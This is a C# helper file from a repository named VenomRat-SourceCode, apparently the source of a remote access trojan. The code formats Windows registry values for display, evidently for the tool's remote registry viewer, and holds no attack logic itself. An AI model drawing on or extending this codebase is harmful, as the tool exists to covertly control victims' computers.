VenomRat-SourceCode/Helper/RegValueHelper.cs
2023-07-29 23:37:10 +05:30

54 lines
1.2 KiB
C#

using System;
using Microsoft.Win32;
namespace Server.Helper;
public class RegValueHelper
{
private static string DEFAULT_REG_VALUE = "(Default)";
public static bool IsDefaultValue(string valueName)
{
return string.IsNullOrEmpty(valueName);
}
public static string GetName(string valueName)
{
if (!IsDefaultValue(valueName))
{
return valueName;
}
return DEFAULT_REG_VALUE;
}
public static string RegistryValueToString(RegistrySeeker.RegValueData value)
{
switch (value.Kind)
{
case RegistryValueKind.Binary:
if (value.Data.Length == 0)
{
return "(zero-length binary value)";
}
return BitConverter.ToString(value.Data).Replace("-", " ").ToLower();
case RegistryValueKind.MultiString:
return string.Join(" ", ByteConverter.ToStringArray(value.Data));
case RegistryValueKind.DWord:
{
uint num2 = ByteConverter.ToUInt32(value.Data);
return $"0x{num2:x8} ({num2})";
}
case RegistryValueKind.QWord:
{
ulong num = ByteConverter.ToUInt64(value.Data);
return $"0x{num:x8} ({num})";
}
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
return ByteConverter.ToString(value.Data);
default:
return string.Empty;
}
}
}